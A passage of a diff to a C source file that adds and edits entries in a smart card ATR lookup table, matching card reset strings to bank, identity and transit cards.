to user authenticate and save passwords in the Card. Product ID50 Password manager from IDENTOS GmbH (eID)\nhttps://identos.com/id50-password-manager/" }, { "3B6900004944363056312E....", "token appidkey ID60-USB (Other)\nhttps://identsmart.com/en/products/id60-datasafe/" }, { "3B6900004A434F503331563232", "Visa Europe Sample Card / Axalto" }, @@ -681,7 +718,7 @@ const static atr_t AtrTable[] = { { "3B6A000030303030333044333544", "Building access card (eID)" }, { "3B6A000030303030333044454241", "HID Global DuoProx II Low Frequency 125 KHz (HealthCare)\nhttps://www.hidglobal.com/sites/default/files/resource_files/prox-duoprox-ii-card-ds-en.pdf" }, { "3B6A000031383030424130373935", "SYNNIX STD200 - Clinique SAINT PAUL - Fort de France (HealthCare)\nhttp://www.synnix.com/Downloads/STD200/STD200%20datasheet/STD200IC%20spec.pdf" }, - { "3B6A00004A434F50313056323331", "Dongle Smart Card (MxKey) (Other)\nhttp://www.mxkey.biz/" }, + { "3B6A00004A434F50313056323331", "Dongle Smart Card (MxKey) (Other)" }, { "3B6A00008031C0A1020301328116", "Lloyds TSB Visa Credit/Debit Card" }, { "3B6A00008065A2........72D6..", "IDClassic 3XX Cards (with MPCOS Applet)" }, { "3B6A00008065A20101013D72D643", "GemSafe Xpresso 16k" }, @@ -692,6 +729,7 @@ const static atr_t AtrTable[] = { { "3B6A00008066A1090201630E9000", "Danish Visa/Dankort\nUK MBNA MasterCard\nVisa Card - Worldcard - YapiKredi / Turkey\nVISA - Lloyds TSB DEBIT\nUK Halifax Visa Debit" }, { "3B6A00008066A20A01018B0E9000", "CAP-EMV demo card" }, { "3B6A0000813F017511010281010A", "Huada CIU9872B (Java Card 2.2.2) (JavaCard)" }, + { "3B6A00008141019810000000000A", "UnionPay Debit card issued by Bank of China (Contact) (Bank)\nhttps://www.boc.cn/" }, { "3B6A0000866500A758C046009000", "China Merchants Bank card (Bank)" }, { "3B6A0000866500A758C055009000", "Credit card (Bank)" }, { "3B6A00FF0031C173C84000009000", "Paypal EMV debit card (Bank)\nAmerican Express Canada Credit Card (Bank)\nhttps://www.americanexpress.com/ca/en/credit-cards/all-cards/?intlink=ca-en-hp-product1-cm-personalcards-03242021" }, @@ -763,12 +801,15 @@ const static atr_t AtrTable[] = { { "3B6B00000031C164086032200F9000", "Twisto (Bank)" }, { "3B6B00000031C16408603221079000", "DSK Bank Debit Mastercard (Bank)" }, { "3B6B00000031C164086032220F9000", "Universidade de Aveiro (ID Card) (eID)\nhttps://www.ua.pt/pt/sas/cartao" }, + { "3B6B00000031C16408603242079000", "CIMB BANK MALAYSIA (Bank)" }, { "3B6B00000031C164086032420F9000", "Westpac Handybank EFTPOS/ATM Card (Bank)" }, { "3B6B00000031C164087771300F9000", "Apple Card (from launch) (Bank)\nhttps://www.apple.com/apple-card/" }, { "3B6B00000031C16408777156079000", "American Express UK Euro ICC charge card (Bank)\nhttps://www.americanexpress.com/icc/cards/the-basic-international-currency-card.html" }, { "3B6B00000031C16408986200079000", "EquaBank Master Card (Bank)\nhttps://equabank.cz" }, { "3B6B00000031C164089862000F9000", "NovaKBM Visa Debit (Bank)" }, { "3B6B00000031C164089862010F9000", "Sodexo Czech Gastro/Multipass (Other)\nhttps://www.sodexo.cz/" }, + { "3B6B00000031C164089862020F9000", "Blu BCA Digital Debit Mastercard (Bank)" }, + { "3B6B00000031C16408986213079000", "Stravenka (Other)" }, { "3B6B00000031C1640924331E0F9000", "Cembra Money Bank - Certo! Mastercard credit card (Bank)\nhttps://certo-card.ch/certo/de/" }, { "3B6B00000031C164092962250F9000", "SANTANDER BASIC CASH CARD (Bank)\nhttps://www.santander.co.uk/assets/s3fs-public/2018-09/Basic%20Current%20Account%20KFD.pdf" }, { "3B6B00000031C16409644136079000", "HSBC UK Visa Debit Card (Bank)\nhttps://www.hsbc.co.uk/content/dam/hsbc/gb/pdf/help/hsbc-visa-debit-card-guide.pdf" }, @@ -780,6 +821,7 @@ const static atr_t AtrTable[] = { { "3B6B00004348495031342056312E30", "Swiss PostFinance Card (Bank)\nhttps://www.postfinance.ch/en/priv/prod/card/pfcard.html" }, { "3B6B00004750003A060141200F9000", "SBI Debit Card (Bank)\nhttps://www.sbi.co.in/portal/web/personal-banking/state-bank-classic-debit-card" }, { "3B6B0000475000630A0040000F9000", "cash app visa prepaid debit (Bank)\nhttps://cash.app/" }, + { "3B6B00004830540A0405303E0F9000", "Belfius Beats Debit/Credit Mastercard | Bancontact (Bank)\nhttps://www.belfius.be/retail/nl/producten/betalen/kredietkaarten-prepaidkaarten/mastercard-new/Index.aspx" }, { "3B6B000053430015020250010F9000", "Visa (Bank)" }, { "3B6B000053430015080250010F9000", "ALELO-BENEFICIOS (Other)" }, { "3B6B00008031C06348107F83E09000", "ABL card (Bank)\nasdasd (Bank)" }, @@ -792,6 +834,7 @@ const static atr_t AtrTable[] = { { "3B6B000081007226010010000F9000", "Debit card issued by Falabella Bank of Peru from IDEMIA (Bank)\nhttp://www.bancofalabella.pe" }, { "3B6B000081007226020040000F9000", "Yuna To Go prepaid MasterCard (PaySafeCard) (Bank)\nhttp://yunacard.com\nPaygoo Reload Mastercard" }, { "3B6B000081007226020041000F9000", "Wave Crest Holding (Bank)" }, + { "3B6B000081007230050070000F9000", "Postbank VISA card prepaid (Bank)\nhttps://www.postbank.de/privatkunden/services/konten-und-karten/visa-card-prepaid-aufladen.html" }, { "3B6B000081007843040241010F9000", "Max Mastercard (Bank)\nhttps://www.aumax.fr" }, { "3B6B0000FF86885A48544430322011", "CMB UnionPay Debit (Bank)" }, { "3B6B00FF33000009FA10008001FFFF", "Atmel 6464C PRO 64K" }, @@ -809,6 +852,7 @@ const static atr_t AtrTable[] = { { "3B6C0000806411650190730000008107", "Universal Electronic Card (UEC Russia) (eID)" }, { "3B6C00008066B1A30401110B83009000", "NAVY F.C.U. (JavaCard)" }, { "3B6C00008066B1A330401110B8300900", "Visa debit (Bank)" }, + { "3B6C000081000300203002220100140C", "CRDB TEMBO CARD (Bank)\nhttps://crdbbank.co.tz" }, { "3B6C0002366186384B8C13046203598A", "Nagravision, Swiss mode" }, { "3B6C00FF50564A434F50323156323331", "Al Etihad (Bank)" }, { "3B6C00FF8073C8211366010611590001", "Visa Crypto Business Electron by neyvabank.ru (Bank)\nhttps://neyvabank.ru/uploads/files/download/bankdirectvisacryptocardreader.pdf" }, @@ -845,7 +889,10 @@ const static atr_t AtrTable[] = { { "3B6D00000080318065B0893501F183009000", "MasterCard (Bank)" }, { "3B6D000000814D22088660200811000001", "BANK OF HEBEI Debit Card (Bank)" }, { "3B6D000000814D22088660222228400001", "Unipay Credit Card Issued by CITIC (Bank)" }, + { "3B6D0000008500001086880000001DA844", "UnionPay Debit card issued by China Construction Bank (Bank)\nhttps://www.ccb.com/" }, + { "3B6D0000008C430101868821014015D856", "UnionPay Debit card issued by Industrial and Commercial Bank of China (Contact) (Bank)\nhttps://www.icbc.com.cn/" }, { "3B6D0000009008209000900000FFFFFFFF", "Student college card" }, + { "3B6D000004008688010001626A79686963", "UnionPay Debit card issued by China Minsheng Bank (Contact) (Bank)\nhttps://www.cmbc.com.cn/" }, { "3B6D00004946582D6A6333303167703232", "MasterCard Debit card of N26 bank (Bank)" }, { "3B6D00005744285746035062136568541F", "Card for decrypt encrypted tv channels made in china (Pay TV)" }, { "3B6D00005744296C808693D1271F13323D", "SCSTA (Transport)" }, @@ -870,12 +917,14 @@ const static atr_t AtrTable[] = { { "3B6D000080318065B0893501F183009000", "Bank of America BankAmericard Travel Visa Chip Card (Gemalto)\nhttps://www.bankofamerica.com/credit-cards/products/bankamericard-travel-rewards-credit-card.go\nCredito Trevigiano - Banca di Credito Cooperativo - Carta BCC\nVISA Signature issued by RBC Bank (Georgia), N.A.\nhttps://www.rbcbank.com/\nBanca Popolare di Novara - (Bancomat Maestro)" }, { "3B6D000080318065B0894001F283009000", "PSAM Card\nNordea Mastercard Card" }, { "3B6D00008067A1110101640855830E9000", "Italian Intesa SanPaolo Maestro" }, + { "3B6D0000860148444D7102070426696810", "Sinopec Gas Card (Other)\nhttps://www.sinopec.com" }, { "3B6D00FF003180718E6448D50200829000", "Blue for Business, American Express@Business" }, { "3B6D00FF0031C173C8400052A1D8009000", "Discover it Credit Card (Bank)\nhttps://www.discover.com/credit-cards/cash-back/it-card.html" }, { "3B6D00FF0031C173C8400052A262009000", "Platinum American Express (Bank)\nhttps://www.americanexpress.com/en-gb/credit-cards/platinum-card/" }, { "3B6D00FF80655343010D067394211B810[15]", "Giesecke & Devrient CardToken 350 (ICCD)" }, { "3B6D00FF8073002113574A544861314700", "ActiveKey SIM" }, { "3B6D00FF8073002113574A544861314800", "Spanish Medical College Card" }, + { "3B6E00000000814D22088660300020E00007", "Mastercard Debit card issued by Bank of China (Contact) (Bank)\nhttps://www.boc.cn/" }, { "3B6E00000031807186650164022232809000", "MasterCard Card - bonus plus (paypass) - Garanti Bank / Turkey" }, { "3B6E00000031807186650164022232839000", "MasterCard Card - bonus YKM - Garanti Bank / Turkey" }, { "3B6E0000003180718665016702A00A839000", "Australian ANZ First Visa Card from the ANZ\n(Australia and New Zealand) Bank" }, @@ -973,6 +1022,7 @@ const static atr_t AtrTable[] = { { "3B6E000033304A3033868876703676332E30", "Agricultural Bank of China (Bank)" }, { "3B6E00004573744549442076657220312E30", "Estonian Identity Card (EstEID v1.1 'MULTOS' cold)" }, { "3B6E00004B41444E494B414876312E309000", "Nikah, Cerai, Rujuk (NCR) - The marriage information with identity of Husband and Wife registered at Jabatan Agama Islam Selangor, Malaysia (eID)\nhttp://ncr.jais.gov.my/" }, + { "3B6E0000506C6179657273506C7573312E31", "ACOS3 Microprocessor Card (Loyalty)\nhttps://www.acs.com.hk/en/products/470/acos3-microprocessor-card/" }, { "3B6E00005744361369869302221936281211", "bb token bank Banco do Brasil (Bank)" }, { "3B6E00005744361369869302321256282532", "Watchdata Brazil CSP v1.0 (Banco do Brasil)\nhttp://www.watchdata.com/en/bank/solutions.jsp" }, { "3B6E00005744361969869302211815500E2B", "Usb Token from watchdata from Brazil (PKI)\nhttp://www.watchdata.com/brazil/watchkey/index.htm" }, @@ -991,7 +1041,7 @@ const static atr_t AtrTable[] = { { "3B6E000080318065B00301015E8300009000", "FirstUSA Visa" }, { "3B6E000080318065B00302015E8300009000", "Gemplus GemXpresso 211is" }, { "3B6E000080318066B0070300AC0183009000", "e-payment card with topup system, propreteary by local bank\nhttp://www.klikbca.com/individual/silver/product.html?s=69" }, - { "3B6E000080318066B0840C016E0183009000", "Optelio Cards (D72 R4 WR)\nNordea (a Skandinavian bank) eID card\nhttp://linux.fi/wiki/Nordea_eID\nNordea Mastercard card\nNordea Visa card\nRBC Royal Bank Client Card (bank in Canada)\nBanco Santander TUI/USC R7\nGemalto Optelio/Desineo D72 (JavaCard) with WG10 and Maestro (JavaCard) (Bank)\nCarte Ticket Restaurant with MasterCard\nCitigold VISA Debit for Citibank, Australia\nPlatinum VISA card for Citibank, Australia\nVISA Infinite issued by RBC Royal Bank (Canada)\nhttp://www.rbc.com/\nPostepay Evolution - Poste Italiane (mastercard)\n'la Caixa' (Spain) (VISA Electron) debit card (Bank)\nhttps://www.lacaixa.es/\nItalian Webank.it BPM Banca Popolare di Milano Bancomat & Maestro Card (Bank)\nSberbank of Russia MIR debit card (Bank)\nMasterCard bank card by OTP Bank (Hungary)" }, + { "3B6E000080318066B0840C016E0183009000", "Optelio Cards (D72 R4 WR)\nNordea (a Skandinavian bank) eID card\nhttp://linux.fi/wiki/Nordea_eID\nNordea Mastercard card\nNordea Visa card\nRBC Royal Bank Client Card (bank in Canada)\nBanco Santander TUI/USC R7\nGemalto Optelio/Desineo D72 (JavaCard) with WG10 and Maestro (JavaCard) (Bank)\nCarte Ticket Restaurant with MasterCard\nCitigold VISA Debit for Citibank, Australia\nPlatinum VISA card for Citibank, Australia\nVISA Infinite issued by RBC Royal Bank (Canada)\nhttp://www.rbc.com/\nPostepay Evolution - Poste Italiane (mastercard)\n'la Caixa' (Spain) (VISA Electron) debit card (Bank)\nhttps://www.lacaixa.es/\nItalian Webank.it BPM Banca Popolare di Milano Bancomat & Maestro Card (Bank)\nSberbank of Russia MIR debit card (Bank)\nMasterCard bank card by OTP Bank (Hungary)\nUniCredit Bank in Serbia" }, { "3B6E000080318066B08412016E0183009000", "Barclaycard Platinum VISA\nInteligo debit card\nVISA issued by ING (Poland)\nVISA Debit card for ING Direct, Australia\nVISA Gold issued by RBC Royal Bank (Canada)\nhttp://www.rbc.com/\nGas Natural Fenosa Visa (issued by CaixaBank) (Bank)\nhttp://www.clubfenosa.gasnaturalfenosa.es/ca/1285341160257/targeta+gas+natural+fenosa.html" }, { "3B6E000080318066B08416016E0183009000", "UK 'Barclaycard Gold VISA' with RFID" }, { "3B6E000080318066B0870C016E0183009000", "Banco Santander TUI/USC R7 - Gemalto Optelio/Desineo D72 (JavaCard)\nhttp://www.observatoriotui.com/home" }, @@ -1002,6 +1052,8 @@ const static atr_t AtrTable[] = { { "3B6E000080318066B1A50102321983009000", "Meeza BDC (Bank)" }, { "3B6E000080318066B1A60101011383009000", "Finnish Smartum benefit card (Other)\nhttps://www.smartum.fi/" }, { "3B6E00008066B1A30401110B83009000", "Bank of America (Bank)\nhttps://www.bankofamerica.com/" }, + { "3B6E00008066B1A30401110B830090000000", "Bank of America (Bank)\nhttps://www.bankofamerica.com/" }, + { "3B6E000086881102010100004748F1FF5550", "UnionPay Debit card issued by Industrial and Commercial Bank of China (Contact) (Bank)\nhttps://www.icbc.com.cn/" }, { "3B6E00FF00620000574156414E5410819000", "debit card (Visa Electron) issued by Nordea bank" }, { "3B6E00FF4573744549442076657220312E30", "Estonian Identity Card (EstEID v1.0 warm)" }, { "3B6E00FF47442D47502D333256342D444553", "Mastercard Ourocard Platinum from Banco do Brasil" }, @@ -1020,11 +1072,13 @@ const static atr_t AtrTable[] = { { "3B6F00000031C173C8211064474D3332009000", "td debit visa card (Bank)\nScotiabank ScotiaCard Interac/Visa debit card (Bank)\nhttps://www.scotiabank.com/ca/en/personal/ways-to-bank/debit-credit-prepaid-cards/debit-cards/scotiacards.html" }, { "3B6F00000031C173C8211064474D3338009000", "ING Direct Debit Card (Bank)" }, { "3B6F00000031C173C8211064474D3341009000", "Fineco debit card (Bancomat, Visa Debit) (Bank)\nhttps://finecobank.com/it/online/conto-e-carte/carte-e-bancomat/" }, + { "3B6F00000031C173C8211064474D3342009000", "Visa Debit card issued by Bank of China (Contact) (Bank)\nhttps://www.boc.cn/" }, { "3B6F00000031C173C8211064474D3435009000", "VISA card, issued by OP Financial Group, Finland (Bank)\nVISA card, issued by S-Pankki, Finland (Bank)" }, { "3B6F00000031C173C8211064474D3437009000", "Visa credit card, issued by Klarna (Bank) (Bank)\nhttps://www.klarna.com/se/kort/" }, { "3B6F00000031C173C8211064474D3533009000", "American Express Platinum Card Mexico (Bank)\nhttps://www.americanexpress.com/mx/tarjetas-de-credito/the-platinum-credit-card/" }, { "3B6F00000031C173C821106457493035009000", "Discover EMV Card (Bank)" }, { "3B6F00000031C173C821106457493036009000", "neat MasterCard (Bank)\nhttps://www.neatcommerce.com/" }, + { "3B6F00000031C173C821106457493037009000", "Payment VISA card (Bank)" }, { "3B6F00000031C173C821106457493131009000", "Banca Popolare Di Sondrio (IT) - Ateneo+ Card for University of Brescia (Bank)\nhttps://www.ateneopiu.it/home" }, { "3B6F00000031C173C8211064574B3037009000", "NatWest VISA Debit card (Bank)\nhttps://personal.natwest.com/personal/current-accounts/select_account.html" }, { "3B6F00000031C173C8211064574B3133009000", "Carta HYPE MasterCard (Italy) (Bank)\nhttps://www.hype.it/\nRACC Master (Bank)\nhttps://www.racc.cat/targeta-racc-master" }, @@ -1043,7 +1097,9 @@ const static atr_t AtrTable[] = { { "3B6F000000B854311007900000000000000000", "Revolut Premium Mastercard (Bank)\nhttps://www.revolut.com/revolut-premium\nMonzo Bank (UK) Debit Mastercard\nhttps://monzo.com/\nLansforsakringar (SE) Debit Mastercard\nhttps://www.lansforsakringar.se/\nING Direct MasterCard (Bank)\nhttps://www.ing.es/tarjetas-ing" }, { "3B6F00000231B813FF000000000000000F9000", "Coverflex | Flexible Benefits Platform (Other)\nhttps://www.coverflex.com/" }, { "3B6F00003101F1564011001900000000000000", "Postepay Evolution (Bank)\nhttps://postepay.poste.it/prodotti/postepay-evolution.html" }, + { "3B6F000057694C4C5700000000000020190328", "meza classic card (Bank)" }, { "3B6F000057694C4C5700000000000020200429", "AMEX CHINA Debit card, Java Card version 2.2, Global Platform version 2.1.1, Visa card manager (Bank)" }, + { "3B6F000057694C4C5700000000000020200430", "Mastercard China Debit card issued by Postal Savings Bank of China (Contact) (Bank)\nhttps://www.psbc.com/" }, { "3B6F0000626C75636172642031364B422F7634", "eID Blutronics Blucard 16K\nhttp://blucard.blutronics.com" }, { "3B6F00008031C0520083640219083283839000", "Bancomer Mexican Bank" }, { "3B6F00008031C05205B5640200647183839000", "Read Card in USB, used for application in Java. (JavaCard)" }, @@ -1075,15 +1131,16 @@ const static atr_t AtrTable[] = { { "3B6F00008031E06B0421050261555555555555", "NORSK TIPPING NORWAY\nhttp://www.norsk-tipping.no/" }, { "3B6F00008031E06B042105026C555555555555", "Icelandic Electronic ID (eID)\nhttps://www.audkenni.is/rafraen-skilriki/einkaskilriki/" }, { "3B6F00008031E06B0421050272555555555555", "Card CAA Quebec (Mastercard) (Bank)\nhttps://www.caaquebec.com/en/your-privileges/caa-dollars/earning/caa-quebec-dollars-mastercardr-credit-card/" }, - { "3B6F00008031E06B04310502A6555555555555", "USAA EMV Mastercard Creditcard (Bank)\nhttps://www.usaa.com/inet/pages/bk_cc_chipcardLP_landing_mkt?adID=VURL_chipcard" }, + { "3B6F00008031E06B04310502A6555555555555", "USAA EMV Mastercard Creditcard (Bank)\nhttps://www.usaa.com/inet/pages/bk_cc_chipcardLP_landing_mkt?adID=VURL_chipcard\nTarget REDcard debit\nhttps://target.com/myREDcard" }, { "3B6F00008031E06B04310502AC555555555555", "Diners Club Credit card (British Airways, Switzerland) (Bank)\nhttps://dinersclub.ch/en/private-customers/all-credit-cards/british-airways-card/" }, { "3B6F00008031E06B04310502AF555555555555", "debit card (Bank)\nhttps://www.usaa.com/inet/wc/banking" }, { "3B6F00008031E06B04310502D1555555555555", "Pockit Pre-Paid Mastercard (Contact Chip). (Bank)\nhttps://revolut.com/" }, { "3B6F00008031E06B04310502D6555555555555", "Bank IN - Slovenian bank (Bank)\nhttps://www.bankain.si/BIN/vstopna.seam" }, - { "3B6F00008031E06B04520502BB555555555555", "AlfaBROU - Mastercard (prepaid card emitted by Banco Republica - Uruguay) (Bank)\nhttps://www.brou.com.uy/personas/tarjetas/prepaga-alfabrou" }, + { "3B6F00008031E06B04520502BB555555555555", "AlfaBROU - Mastercard (prepaid card emitted by Banco Republica - Uruguay) (Bank)\nhttps://www.brou.com.uy/personas/tarjetas/prepaga-alfabrou\nCapital One - Mastercard debit card (Bank)\nhttps://www.capitalone.com/bank/debit-card/" }, { "3B6F00008031E06B04520502FD555555555555", "C6 Bank Mastercard Global Account (Bank)\nhttps://www.c6bank.com.br/conta-global\nC6 Bank Mastercard Brazil Account (Bank)\nhttps://www.c6bank.com.br/nossos-produtos" }, { "3B6F00008031E06B04520502FE555555555555", "CITIBanamex 'Perfiles' debit card (Bank)\nhttps://www.banamex.com/es/personas/cuentas/cuenta-perfiles.html" }, { "3B6F00008031E06B04546B026D555555555555", "Mastercard Credit/Debit Card (Bank)" }, + { "3B6F00008031E06B04546B0282555555555555", "At Brazil is known as 'Elo Card'. Outside Brazil in known as 'Discover' (Bank)\nhttps://www.discover.com/" }, { "3B6F00008031E06B0505050280555555555555", "Banamex cuenta perfiles (Bank)\nhttp://banamex.com" }, { "3B6F00008031E06B0508050283555555555555", "Bank of Montreal debit card" }, { "3B6F00008031E06B0512050287555555555555", "American Express credit card" }, @@ -1091,6 +1148,7 @@ const static atr_t AtrTable[] = { { "3B6F00008031E06B071405028A555555555555", "SolutionsBanking Canada Interac debit card" }, { "3B6F00008031E06B08240502B5555555555555", "Revolut MasterCard (UK)" }, { "3B6F00008031E06B082A0502DE555555555555", "VISA Debit Card Issued by State Employees Credit Union of Maryland (Bank)\nhttps://www.secumd.org/personal/credit-cards/card-services.aspx" }, + { "3B6F00008031E06B082B0502DC555555555555", "Bradesco Bank Account Card (Brazil) (Bank)\nhttps://banco.bradesco/" }, { "3B6F00008031E06B082D0502B8555555555555", "pag seguro Brasil (Bank)" }, { "3B6F00008031E06B082E0502B9555555", "CAIXA ECONOMICA (Bank)\nhttps://www.caixa.gov.br/Paginas/home-caixa.aspx" }, { "3B6F00008031E06B082E0502B9555555555555", "CAIXA (Bank)" }, @@ -1106,6 +1164,7 @@ const static atr_t AtrTable[] = { { "3B6F0000805A08030300000002BB267C829000", "Twisto\nhttp://www.twisto.fr" }, { "3B6F0000805A08030300000002BF024A829200", "ALSEO, the Alsacian Express Regional Train card (Transport)\nhttp://www.ter.sncf.com/alsace/gares/preparer-son-voyage/carte-alseo/" }, { "3B6F0000805A08030300000002C883CB829200", "card for Bordeaux transport (Transport)" }, + { "3B6F0000805A0803030000007C56BC7E829000", "Unico Campania (Italy) transport card (Transport)" }, { "3B6F0000805A080303000000C00FAF04829200", "Bordeaux Urban Transportation Card (NFC) (Transport)" }, { "3B6F0000805A080314000200........829000", "Metro do Porto, public transport card of Oporto - Portugal (Transport)" }, { "3B6F0000805A080608200200........829000", "Lisboa Viva, public transport card of Lisbon (Portugal)" }, @@ -1169,6 +1228,9 @@ const static atr_t AtrTable[] = { { "3B6F0000805A0A070620042C031C112A829000", "Peronalized RavKav (Transport)\nhttps://ravkavonline.co.il/he/" }, { "3B6F0000805A0A070620042C03288444829000", "rav-kav (Transport)\nhttp://nohal.mot.gov.il/%d7%94%d7%92%d7%93%d7%a8%d7%95%d7%aa%20%d7%91%d7%a0%d7%95%d7%a9%d7%90%20%d7%9b%d7%a8%d7%98%d7%95%d7%a1%20%d7%97%d7%9b%d7%9d.aspx" }, { "3B6F0000805A0A070620042C0490EFCB829000", "Rav-Kav Israel (Transport)\nhttps://ravkavonline.co.il" }, + { "3B6F0000805A0A070620042C04940F18829000", "Israeli anonymous rail road Rav Kav 2022 model (Transport)\nhttps://en.wikipedia.org/wiki/Rav-Kav" }, + { "3B6F0000805A0A070620042C0494625E829000", "Israeli rail road rav card (Transport)\nhttps://en.wikipedia.org/wiki/Rav-Kav" }, + { "3B6F0000805A0A070620042D9363A22B829000", "Rav-Kav Transport\nhttps://ravkavonline.co.il/en/" }, { "3B6F0000805A0A070620042DC1660B73829000", "Rav-Kav: Israel's Travel Card (Transport)" }, { "3B6F0000805A0A070620042DC169517A829000", "Card for bus (Transport)" }, { "3B6F0000805A0A070620042DC2E8E270829000", "ravkav (Transport)" }, @@ -1179,6 +1241,7 @@ const static atr_t AtrTable[] = { { "3B6F0000805A2811421010122B260CD45A829000", "French transport card Navigo (Transport)\nhttps://www.iledefrance-mobilites.fr/je-gere-ma-carte" }, { "3B6F0000805A28114210122B03791BB9829000", "RATP Navigo Easy Paris France (Transport)\nhttps://www.transilien.com/fr/page-tarifs/navigo-easy" }, { "3B6F0000805A28114210122B037A89AA829000", "Ile-de-France Mobilites (Navigo Easy) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-easy" }, + { "3B6F0000805A28114210122B037AC8F7829000", "Navigo Easy (contact interface) (Transport)\nhttps://www.ratp.fr/en/titres-et-tarifs/pass-navigo-easy" }, { "3B6F0000805A28114210122B037AED59829000", "Navigo Easy (Paris) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-easy" }, { "3B6F0000805A28114210122B23A9E229829000", "Navigo(French transport) (Transport)\nhttp://www.navigo.fr/je-gere-ma-carte/" }, { "3B6F0000805A28114210122B23BD87EE829000", "Navigo pass Calypso standard (Transport)\nhttp://www.navigo.fr/" }, @@ -1192,6 +1255,7 @@ const static atr_t AtrTable[] = { { "3B6F0000805A28114210122B272653F8829000", "New Navigo card - Paris Sub transport (Transport)" }, { "3B6F0000805A28114210122B272851D4829000", "Navigo, Paris and Isle of France transport card (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs" }, { "3B6F0000805A28114210122B272A8FE7829000", "Navigo Decouverte card, a rechargeable card for travel in Paris, France. (Transport)\nhttps://parisbytrain.com/paris-train-metro-week-pass-navigo-decouverte/" }, + { "3B6F0000805A28114210122B2732202E829000", "Navigo card ('A' marking for annual contract), contact interface (Transport)" }, { "3B6F0000805A28114210122B27328308829000", "Navigo Easy (Paris) (Transport) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-easy" }, { "3B6F0000805A28114210122B27358F16829000", "French Navigo passcard to travel in Paris area using RATP & SNCF services (Transport)\nhttp://www.navigo.fr/" }, { "3B6F0000805A28114210122B27406D7A829000", "French Navigo Card for Transport (RATP, SNCF) (Transport)\nhttp://www.navigo.fr/" }, @@ -1213,6 +1277,7 @@ const static atr_t AtrTable[] = { { "3B6F0000805A28114210122B27AE59B9829000", "French 'Navigo' transport card (Transport)\nhttp://www.navigo.fr/" }, { "3B6F0000805A28114210122B4C09310D829000", "Pass Navigo personnalise (Paris) (Transport)\nhttp://www.navigo.fr/titres/le-forfait-navigo-mois-choix-carte-navigo-carte-decouverte/" }, { "3B6F0000805A28114210122B4C0EFAD0829000", "Ile-de-France Mobilites (Navigo Nominative) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo" }, + { "3B6F0000805A28130210122B034BA194829000", "Korrigo (Brittany transit card) (contact interface) (Transport)\nhttps://www.korrigo.bzh/" }, { "3B6F0000805A28130210122B034BEB8D829000", "Korigo card transport for star company (France) (Transport)\nhttp://www.star.fr/titres-et-tarifs/carte-korrigo/" }, { "3B6F0000805A28130210122B03CF898A829000", "Korrigo Card (Rennes Metropole bus network) (Transport)\nhttps://www.star.fr/" }, { "3B6F0000805A28130210122B03D99C6F829000", "KorriGo (Brittany) transport card (Transport)" }, @@ -1225,11 +1290,14 @@ const static atr_t AtrTable[] = { { "3B6F0000805A28130210122B7503FB01829000", "origo (France) (Transport)\nhttps://www.breizhgo.bzh/se-deplacer-en-bretagne/KorriGo" }, { "3B6F0000805A28130210122B750C7E79829000", "Transportation card delivered by STAR (Transportation service from the city of Rennes, France) (Transport)\nhttps://www.star.fr/titres-et-tarifs/carte-korrigo/" }, { "3B6F0000805A28130210122B750DD382829000", "ZOU! for Region Sud (Transport)\nhttps://zou.maregionsud.fr/ma-carte-zou/" }, + { "3B6F0000805A28130210122B75118E47829000", "ZOU! for Region Sud (Transport)\nhttps://zou.maregionsud.fr/ma-carte-zou/" }, + { "3B6F0000805A28130210122B7514673E829000", "bus card (Transport)" }, { "3B6F0000805A28130210122B9292E642829000", "Transport card in cote d'or France (mobigo)" }, { "3B6F0000805A28130210122B9292E829829000", "French transport card of the city of Dijon and Cote d'or department. (Transport)\nhttps://www.viamobigo.fr/fr/acheter-mes-titres-de-transport-mobigo-en-cote-dor/176" }, { "3B6F0000805A28130210122B92D663FC829000", "Card 'Korrigo' region Bretagne, France, Bibus Brest Metropole public transport (Transport)\nhttps://fr.wikipedia.org/wiki/KorriGo" }, { "3B6F0000805A28130210122BC129DC7D829000", "KorriGo card, french britanny travel card (Transport)\nhttps://www.ter.sncf.com/bretagne/offres/carte-korrigo" }, { "3B6F0000805A28130210122BC3151351829000", "Korigo card transport for star company (France) (Transport)\nhttps://www.star.fr/" }, + { "3B6F0000805A28130210122BC315C9C8829000", "KorriGo is a multimodal ticketing card given in the Region Brittany Council (Other)\nhttps://www.korrigo.bzh/fr/une-carte-multiservice/71" }, { "3B6F0000805A29130910113[36]........829000", "MOBIB (reseau transport en commun Bruxelles, Belgique)\nhttp://www.uclouvain.be/sites/security/mobib.html\nCalypso application similar to French NAVIGO\nMOBIB (Transport)\nhttp://www.stib-mivb.be/mobib.html?l=en" }, { "3B6F0000805A2C060810100592E4FFF0829000", "Lisbon area transport card (Transport)\nhttps://www.portalviva.pt/" }, { "3B6F0000805A2C06081010059304D66B829000", "Lisboa VIVA - Lisbon public transport card (Transport)\nhttps://www.portalviva.pt/" }, @@ -1251,6 +1319,7 @@ const static atr_t AtrTable[] = { { "3B6F0000805A2C23C410100571209D05829000", "Gent schakelt slim. AustriaCard (Transport)" }, { "3B6F0000805A2C23C41010057120BA62829000", "Belgian MOBIB public transport card (Transport)\nhttps://mobib.be/en.html" }, { "3B6F0000805A2C23C410100571217A3A829000", "mobob (Transport)" }, + { "3B6F0000805A2C23C4101005712E0E2B829000", "De Lijn - Vlaamse Vervoermaatschappij Travel Pass | NMBS-SNCB (Transport)\nhttps://www.delijn.be/en/content/abonnementen/de-lijn-nmbs/" }, { "3B6F0000805A2C23C4101005C0224F89829000", "MoBIB card (Transport)\nhttps://mobib.be/en.html" }, { "3B6F0000805A2C23C4101005C024DB38829000", "Mobib Brussels transport card (Transport)\nhttps://mobib.be/en.html" }, { "3B6F0000805A2C23C4101005C0292CEE829000", "MoBIB card (Transport) (Transport)\nhttps://mobib.be/" }, @@ -1264,7 +1333,9 @@ const static atr_t AtrTable[] = { { "3B6F0000805A2D06081010027835EDCE829000", "Lisbon Transportation SmartCard (Transport)" }, { "3B6F0000805A2D06081010027848BBCC829000", "Lisbon Metro Monthly Student Pass (Transport)\nhttps://www.metrolisboa.pt/" }, { "3B6F0000805A2D0608101005935C42FB829000", "Comboios de Portugal Transit Card (Transport)\nhttps://www.cp.pt/passageiros/pt/consultar-horarios/precos/cartao-cp" }, + { "3B6F0000805A2D06081010059468C083829000", "Comboios de Portugal Transit Card 